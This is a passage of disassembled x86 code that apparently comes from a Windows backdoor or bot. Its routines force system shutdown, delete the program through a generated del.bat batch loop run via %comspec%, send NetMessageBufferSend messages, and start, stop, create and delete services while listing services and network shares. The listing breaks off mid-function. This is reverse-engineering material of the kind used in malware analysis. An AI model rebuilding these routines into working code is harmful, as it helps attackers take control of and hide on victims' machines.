push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418333 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27F0000h push esi call ebx loc_418333: ; CODE XREF: sub_418294+2Aj ; sub_418294+51j ... pop edi pop esi pop ebx leave retn sub_418294 endp ; =============== S U B R O U T I N E ======================================= sub_418338 proc near ; CODE XREF: sub_401ACD+16B2p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419652 pop ecx pop ecx push 50005h push 6 call dword_4CB594 neg eax sbb eax, eax neg eax retn sub_418338 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41835A proc near ; CODE XREF: sub_401ACD+2755p ; ___:0041686Cp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837E cmp dword_4CB724, esi jnz short loc_41837E push esi call sub_401000 pop ecx loc_41837E: ; CODE XREF: sub_41835A+13j ; sub_41835A+1Bj call sub_40B2C0 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 26A0000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 27009D7h mov edi, eax cmp edi, esi jbe loc_4184DE lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 26F0000h push edi call near ptr 2660919h nop push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D808 mov [ebp+var_2C], 1 mov [ebp+var_28], si call near ptr 2690126h nop push eax nop call near ptr 2670000h lea eax, [ebp+var_15C] push eax call near ptr 2690000h nop cmp eax, 0FFFFFFFFh jz short loc_418486 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2680E1Fh loc_418486: ; CODE XREF: sub_41835A+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2800000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2660C3Bh loc_4184DE: ; CODE XREF: sub_41835A+72j pop edi pop esi leave retn sub_41835A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E2 proc near ; CODE XREF: sub_401ACD+7233p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26D066Bh nop cmp [ebp+var_84], 2 jnz short loc_418578 push [ebp+arg_10] push [ebp+arg_C] call dword_4CB5D4 push edi push eax call dword_4CB5E4 test eax, eax jz short loc_41856A push [ebp+arg_10] push offset dword_439074 loc_418543: ; CODE XREF: sub_4184E2+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 20h jmp short loc_4185A2 ; --------------------------------------------------------------------------- loc_41856A: ; CODE XREF: sub_4184E2+57j nop call near ptr 2680ABEh push eax push offset unk_43904C jmp short loc_418543 ; --------------------------------------------------------------------------- loc_418578: ; CODE XREF: sub_4184E2+3Fj lea eax, [ebp+var_294] push offset unk_43901C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 1Ch loc_4185A2: ; CODE XREF: sub_4184E2+86j pop edi leave retn sub_4184E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A5 proc near ; CODE XREF: sub_401ACD+55FFp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26D066Bh cmp [ebp+var_90], 4 jnz short loc_4185FB cmp [ebp+var_8C], 0 jnz short loc_4185E4 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FB leave retn ; --------------------------------------------------------------------------- loc_4185E4: ; CODE XREF: sub_4185A5+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F6 cmp [ebp+var_8C], 5Ah jnz short loc_4185FB loc_4185F6: ; CODE XREF: sub_4185A5+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FB: ; CODE XREF: sub_4185A5+27j ; sub_4185A5+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 26A0B0Dh mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26B0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 278079Dh mov eax, edi pop edi pop esi leave retn sub_4185A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418685 proc near ; CODE XREF: sub_40111D+F7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 2690AA5h push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4276F8 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418685 endp ; =============== S U B R O U T I N E ======================================= sub_4186C2 proc near ; CODE XREF: sub_401ACD:loc_406127p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41871A lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_439098[esi] push edi push eax call sub_41873C add esp, 14h test eax, eax jnz short loc_41870A push edi push off_439094[esi] push offset unk_4391A8 loc_4186FA: ; CODE XREF: sub_4186C2+56j mov esi, offset dword_4DB6D0 push esi call sub_41B886 add esp, 10h jmp short loc_418737 ; --------------------------------------------------------------------------- loc_41870A: ; CODE XREF: sub_4186C2+2Aj push eax call sub_4187DE pop ecx push eax push edi push offset unk_43917C jmp short loc_4186FA ; --------------------------------------------------------------------------- loc_41871A: ; CODE XREF: sub_4186C2+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB6D0 push off_439090[eax*4] push offset unk_439158 push esi call sub_41B886 add esp, 0Ch loc_418737: ; CODE XREF: sub_4186C2+46j mov eax, esi pop edi pop esi retn sub_4186C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873C proc near ; CODE XREF: sub_4186C2+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CB648 mov edi, eax cmp edi, ebx jnz short loc_418763 call near ptr 2680ABEh nop mov ebx, eax jmp short loc_4187D8 ; --------------------------------------------------------------------------- loc_418763: ; CODE XREF: sub_41873C+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CB530 mov esi, eax cmp esi, ebx jnz short loc_418783 call near ptr 2680ABEh nop mov ebx, eax jmp short loc_4187D0 ; --------------------------------------------------------------------------- loc_418783: ; CODE XREF: sub_41873C+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B6 cmp eax, 3 jz short loc_4187A7 jle short loc_4187C9 cmp eax, 6 jg short loc_4187C9 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CB59C jmp short loc_4187BD ; --------------------------------------------------------------------------- loc_4187A7: ; CODE XREF: sub_41873C+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CB538 jmp short loc_4187BD ; --------------------------------------------------------------------------- loc_4187B6: ; CODE XREF: sub_41873C+4Dj push esi call dword_4CB5A0 loc_4187BD: ; CODE XREF: sub_41873C+69j ; sub_41873C+78j test eax, eax jnz short loc_4187C9 call near ptr 2680ABEh nop mov ebx, eax loc_4187C9: ; CODE XREF: sub_41873C+54j ; sub_41873C+59j ... push esi call dword_4CB54C loc_4187D0: ; CODE XREF: sub_41873C+45j push edi call dword_4CB54C pop esi loc_4187D8: ; CODE XREF: sub_41873C+25j mov eax, ebx pop edi pop ebx leave retn sub_41873C endp ; =============== S U B R O U T I N E ======================================= sub_4187DE proc near ; CODE XREF: sub_4186C2+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418893 jz loc_41888C add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418856 jz short loc_41884C mov ecx, eax sub ecx, 3 jz short loc_418842 dec ecx dec ecx jz short loc_418838 dec ecx jz short loc_41882E sub ecx, 51h jz short loc_418824 sub ecx, 24h jnz loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418824: ; CODE XREF: sub_4187DE+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_41882E: ; CODE XREF: sub_4187DE+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418838: ; CODE XREF: sub_4187DE+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418842: ; CODE XREF: sub_4187DE+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_41884C: ; CODE XREF: sub_4187DE+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418856: ; CODE XREF: sub_4187DE+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418885 dec ecx jz short loc_41887E dec ecx jz short loc_418877 dec ecx jnz loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FB ; --------------------------------------------------------------------------- loc_418877: ; CODE XREF: sub_4187DE+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_41887E: ; CODE XREF: sub_4187DE+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_418885: ; CODE XREF: sub_4187DE+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_41888C: ; CODE XREF: sub_4187DE+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_418893: ; CODE XREF: sub_4187DE+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F6 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418909 ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_41894A[ecx] jmp off_418922[ecx*4] ; switch jump loc_4188B7: ; DATA XREF: ___:off_418922o push offset aTheSpecifiedDa ; jumptable 004188B0 case 7 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188BE: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceDepe ; jumptable 004188B0 case 17 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188C5: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceDe_0 ; jumptable 004188B0 case 10 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188CC: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceHasB ; jumptable 004188B0 case 0 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188D3: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheSpecified_0 ; jumptable 004188B0 case 2 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188DA: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceCoul ; jumptable 004188B0 case 11 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188E1: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceHa_0 ; jumptable 004188B0 case 14 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188E8: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheRequested_1 ; jumptable 004188B0 case 3 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188EF: ; CODE XREF: sub_4187DE+D2j ; DATA XREF: ___:off_418922o push offset aTheServiceHasN ; jumptable 004188B0 case 4 jmp short loc_4188FB ; --------------------------------------------------------------------------- loc_4188F6: ; CODE XREF: sub_4187DE+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FB: ; CODE XREF: sub_4187DE+41j ; sub_4187DE+4Bj ... push offset dword_4DB010 call sub_41B886 pop ecx pop ecx jmp short loc_41891C ; --------------------------------------------------------------------------- loc_418909: ; CODE XREF: sub_4187DE+36j ; sub_4187DE+89j ... push eax ; default ; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DB010 call sub_41B886 add esp, 0Ch loc_41891C: ; CODE XREF: sub_4187DE+129j mov eax, offset dword_4DB010 retn sub_4187DE endp ; --------------------------------------------------------------------------- off_418922 dd offset loc_4188CC ; DATA XREF: sub_4187DE+D2r dd offset loc_4188D3 ; jump table for switch statement dd offset loc_4188E8 dd offset loc_4188EF dd offset loc_4188B7 dd offset loc_4188C5 dd offset loc_4188DA dd offset loc_4188E1 dd offset loc_4188BE dd offset loc_418909 byte_41894A db 0, 9, 1, 2 ; DATA XREF: sub_4187DE+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895C proc near ; CODE XREF: sub_401ACD+45D4p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CB648 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_418994: ; CODE XREF: sub_41895C+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CB614 test eax, eax jnz short loc_4189CE call near ptr 2680ABEh nop cmp eax, 0EAh jnz loc_418A82 loc_4189CE: ; CODE XREF: sub_41895C+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A79 lea esi, [ebp+var_188] loc_4189DF: ; CODE XREF: sub_41895C+117j mov eax, [esi+8] dec eax jz short loc_418A28 dec eax jz short loc_418A21 dec eax jz short loc_418A1A dec eax jz short loc_418A13 dec eax jz short loc_418A0C dec eax jz short loc_418A05 dec eax jz short loc_4189FE push offset aUnknown_0 ; " Unknown" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_41895C+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A05: ; CODE XREF: sub_41895C+96j push offset aPausing ; " Pausing" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A0C: ; CODE XREF: sub_41895C+93j push offset aContinuing ; " Continuing" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A13: ; CODE XREF: sub_41895C+90j push offset aRunning ; " Running" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A1A: ; CODE XREF: sub_41895C+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A21: ; CODE XREF: sub_41895C+8Aj push offset aStarting ; " Starting" jmp short loc_418A2D ; --------------------------------------------------------------------------- loc_418A28: ; CODE XREF: sub_41895C+87j push offset aStopped ; " Stopped" loc_418A2D: ; CODE XREF: sub_41895C+A0j ; sub_41895C+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DF loc_418A79: ; CODE XREF: sub_41895C+77j cmp [ebp+var_8], ebx jnz loc_418994 loc_418A82: ; CODE XREF: sub_41895C+6Cj push [ebp+var_C] call dword_4CB54C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A99 proc near ; CODE XREF: sub_401ACD:loc_406167p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B33 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC2 dec eax jnz short loc_418B13 push edi push 0 call sub_418C6C pop ecx pop ecx jmp short loc_418B0F ; --------------------------------------------------------------------------- loc_418AC2: ; CODE XREF: sub_418A99+18j cmp [ebp+arg_8], 0 jnz short loc_418B01 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B01 push 57h pop eax loc_418AD9: ; CODE XREF: sub_418A99+78j push eax call sub_419460 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB2CC push off_439090[eax*4] push offset unk_43973C push esi call sub_41B886 add esp, 14h jmp short loc_418B53 ; --------------------------------------------------------------------------- loc_418B01: ; CODE XREF: sub_418A99+2Dj ; sub_418A99+3Bj push [ebp+arg_8] push edi push 0 call sub_418BC0 add esp, 0Ch loc_418B0F: ; CODE XREF: sub_418A99+27j test eax, eax jnz short loc_418AD9 loc_418B13: ; CODE XREF: sub_418A99+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB2CC push off_439094[eax*4] push offset dword_439720 push esi call sub_41B886 add esp, 10h jmp short loc_418B53 ; --------------------------------------------------------------------------- loc_418B33: ; CODE XREF: sub_418A99+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB2CC lea eax, [eax+eax*2] push off_439090[eax*4] push offset unk_4396FC push esi call sub_41B886 add esp, 0Ch loc_418B53: ; CODE XREF: sub_418A99+66j ; sub_418A99+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A99 endp ; =============== S U B R O U T I N E ======================================= sub_418B59 proc near ; CODE XREF: sub_419E7A+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B66 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B66: ; CODE XREF: sub_418B59+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DB4CC, 1 mov ebp, eax jnz short loc_418BA3 or byte_4DB4CC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DB26C, eax loc_418BA3: ; CODE XREF: sub_418B59+32j push esi push esi push ebp push dword_4DB26C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DB26C pop edi pop ebp pop ebx pop esi retn sub_418B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BC0 proc near ; CODE XREF: sub_418A99+6Ep ; sub_41A19E+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2B push [ebp+arg_4] mov edi, eax call sub_418C2B push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2B add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB548 pop edi leave retn sub_418BC0 endp ; =============== S U B R O U T I N E ======================================= sub_418C2B proc near ; CODE XREF: sub_418BC0+Ap ; sub_418BC0+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C38 pop ebp retn ; --------------------------------------------------------------------------- loc_418C38: ; CODE XREF: sub_418C2B+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2B endp ; =============== S U B R O U T I N E ======================================= sub_418C6C proc near ; CODE XREF: sub_418A99+20p ; sub_419E7A+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2B push [esp+8+arg_4] mov esi, eax call sub_418C2B pop ecx pop ecx push 0 push eax push esi call dword_4CB520 pop esi retn sub_418C6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8F proc near ; CODE XREF: sub_401ACD+46B1p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2B xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 18h loc_418CC8: ; CODE XREF: sub_418C8F+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB598 mov ebx, eax cmp ebx, esi jz short loc_418D2B cmp ebx, 0EAh jz short loc_418D2B push ebx push ebx call sub_419460 pop ecx push eax lea eax, [ebp+var_210] push offset unk_439788 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 24h jmp short loc_418D98 ; --------------------------------------------------------------------------- loc_418D2B: ; CODE XREF: sub_418C8F+5Dj ; sub_418C8F+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8F mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D39: ; CODE XREF: sub_418C8F+FCj push dword ptr [esi+10h] call dword_4CB53C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D50 mov eax, offset aNo ; "No" loc_418D50: ; CODE XREF: sub_418C8F+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D39 xor esi, esi loc_418D8F: ; CODE XREF: sub_418C8F+A2j push [ebp+var_4] call dword_4CB6E4 loc_418D98: ; CODE XREF: sub_418C8F+9Aj cmp ebx, 0EAh jz loc_418CC8 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DB0 proc near ; CODE XREF: sub_401ACD:loc_4061EFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E55 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF2 dec eax jz short loc_418DE7 dec eax jnz short loc_418E0D push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF7 add esp, 14h jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418DE7: ; CODE XREF: sub_418DB0+1Dj push ebx push edi call sub_418ED6 pop ecx pop ecx jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418DF2: ; CODE XREF: sub_418DB0+1Aj cmp [ebp+arg_8], edi jz short loc_418E06 push [ebp+arg_8] push ebx push edi call sub_418E7C add esp, 0Ch jmp short loc_418E09 ; --------------------------------------------------------------------------- loc_418E06: ; CODE XREF: sub_418DB0+45j push 57h pop eax loc_418E09: ; CODE XREF: sub_418DB0+35j ; sub_418DB0+40j ... cmp eax, edi jnz short loc_418E2D loc_418E0D: ; CODE XREF: sub_418DB0+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4D0 push off_439094[eax*4] push offset unk_439840 push esi call sub_41B886 add esp, 10h jmp short loc_418E75 ; --------------------------------------------------------------------------- loc_418E2D: ; CODE XREF: sub_418DB0+5Bj push eax call sub_419460 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4D0 push off_439090[eax*4] push offset unk_439810 push esi call sub_41B886 add esp, 14h jmp short loc_418E75 ; --------------------------------------------------------------------------- loc_418E55: ; CODE XREF: sub_418DB0+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB4D0 lea eax, [eax+eax*2] push off_439090[eax*4] push offset unk_4397E8 push esi call sub_41B886 add esp, 0Ch loc_418E75: ; CODE XREF: sub_418DB0+7Bj ; sub_418DB0+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7C proc near ; CODE XREF: sub_418DB0+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push 